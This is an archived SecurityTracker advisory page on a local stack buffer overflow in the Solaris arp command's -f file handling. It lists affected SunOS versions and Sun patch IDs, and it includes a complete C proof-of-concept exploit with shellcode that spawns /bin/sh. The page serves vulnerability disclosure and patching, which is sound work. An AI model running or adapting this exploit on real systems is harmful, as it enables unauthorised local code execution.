SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   OS (UNIX)  >   Arp Vendors:   Sun
(Patch Available) Solaris arp Command May Execute Arbitrary Code
SecurityTracker Alert ID:  1000579
SecurityTracker URL:  http://securitytracker.com/id/1000579
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Jan 12 2001
Impact:   Execution of arbitrary code via local system
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): SunOS 5.7, 5.7_x86, 5.6, 5.6_x86, 5.5.1, 5.5.1_x86, 5.5, 5.5_x86, 5.4, 5.4_x86
Description:   A patch is reportedly available to fix a vulnerable version of the "arp" command on Sun Solaris operating system platforms. Arp is a utility to display and modify the Internet-to-Ethernet address translation cache tables used by the Address Resolution Protocol (ARP).

The stack overflow is reportedly in arp's file() function (specified by the -f command line switch), which reads input data from the specified file. The overflow itself is a result of using sscanf to split up the file data, where file()'s return address is overwritten with part of the supplied string.

Impact:   A local user could cause arbitrary code to be executed.
Solution:   Patches are available from Sun. See the original message text for patch information.
Vendor URL:  www.sun.com (Links to External Site)
Cause:   Boundary error
Underlying OS:  UNIX (Solaris - SunOS)

Message History:   None.


 Source Message Contents

Subject:  Solaris Arp Vulnerability


Vulnerability in Solaris arp(1M)

Date Published: November 28, 2000

Advisory ID: N/A

Bugtraq ID: N/A

CVE CAN: Non currently assigned.

Title: Solaris arp(1M) Buffer Overflow Vulnerability

Class: Boundary Error Condition

Remotely Exploitable: No

Locally Exploitable: Yes

Vulnerability Description:

The stack overflow is in arp's file() function, which reads the data in
from the supplied file.  The overflow itself is a result of using sscanf
to split up the file data.  In a typical buffer overflow fashion,
file()'s return address is overwritten with part of the supplied string.


Vulnerable Packages/Systems:

  SunOS 5.7
  SunOS 5.7_x86
  SunOS 5.6
  SunOS 5.6_x86
  SunOS 5.5.1
  SunOS 5.5.1_x86
  SunOS 5.5
  SunOS 5.5_x86
  SunOS 5.4
  SunOS 5.4_x86


Solution/Vendor Information/Workaround:


The following patches are available in relation to the above problem.

    OS Version          Patch ID
    __________          _________
    SunOS 5.7           109709-01
    SunOS 5.7_x86       109710-01
    SunOS 5.6           109719-01
    SunOS 5.6_x86       109720-01
    SunOS 5.5.1         109721-01
    SunOS 5.5.1_x86     109722-01
    SunOS 5.5           109707-01
    SunOS 5.5_x86       109708-01
    SunOS 5.4           109723-01
    SunOS 5.4_x86       109724-01


Vendor notified on: November 28, 2000

Credits:

This vulnerability was discovered by Pablo Sor, Buenos Aires, Argentina.

Special thanks to Dave Ahmed from SecurityFocus for his meticulous help.

This advisory was drafted with the help of the SecurityFocus.com
Vulnerability Help Team.
For more information or assistance drafting advisories please mail
vulnhelp@securityfocus.com.

Technical Description - Exploit/Concept Code:

#include <fcntl.h>

/* arpexp.c

   arp overflow proof of concept by ahmed@securityfocus.com
   tested on x86 solaris 7,8beta

   default should work.  if not, arg1 = offset. +- by 100's

   Copyright Security-Focus.com, 11/2000
*/

long get_esp() { __asm__("movl %esp,%eax"); }

int main(int ac, char **av)
{

  char shell[] = "\xeb\x45\x9a\xff\xff\xff\xff\x07\xff"
                 "\xc3\x5e\x31\xc0\x89\x46\xb7\x88\x46"
                 "\xbc\x88\x46\x07\x89\x46\x0c\x31\xc0"
                 "\xb0\x2f\xe8\xe0\xff\xff\xff\x52\x52"
                 "\x31\xc0\xb0\xcb\xe8\xd5\xff\xff\xff"
                 "\x83\xc4\x08\x31\xc0\x50\x8d\x5e\x08"
                 "\x53\x8d\x1e\x89\x5e\x08\x53\xb0\x3b"
                 "\xe8\xbe\xff\xff\xff\x83\xc4\x0c\xe8"
                 "\xbe\xff\xff\xff\x2f\x62\x69\x6e\x2f"
                 "\x73\x68\xff\xff\xff\xff\xff\xff\xff"
                 "\xff\xff";

  unsigned long magic = 0x8047b78;
  unsigned long r = get_esp() + 600;
  unsigned char buf[300];
  int f;

  if (ac == 2)
    r += atoi(av[1]);

  memset(buf,0x61,sizeof(buf));
  memcpy(buf+52,&magic,4);
  memcpy(buf+76,&r,4);

  f = open("/tmp/ypx",O_CREAT|O_WRONLY,0600);
  write(f,"1 2 3 4 ",8);
  write(f,buf,sizeof(buf));
  close(f);

  memset(buf,0x90,sizeof(buf));
  memcpy(buf,"LOL=",4);
  memcpy(buf+(sizeof(buf)-strlen(shell)),shell,strlen(shell));
  putenv(buf);

  system("/usr/sbin/arp -f /tmp/ypx");
  unlink("/tmp/ypx");

}

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, SecurityGlobal.net LLC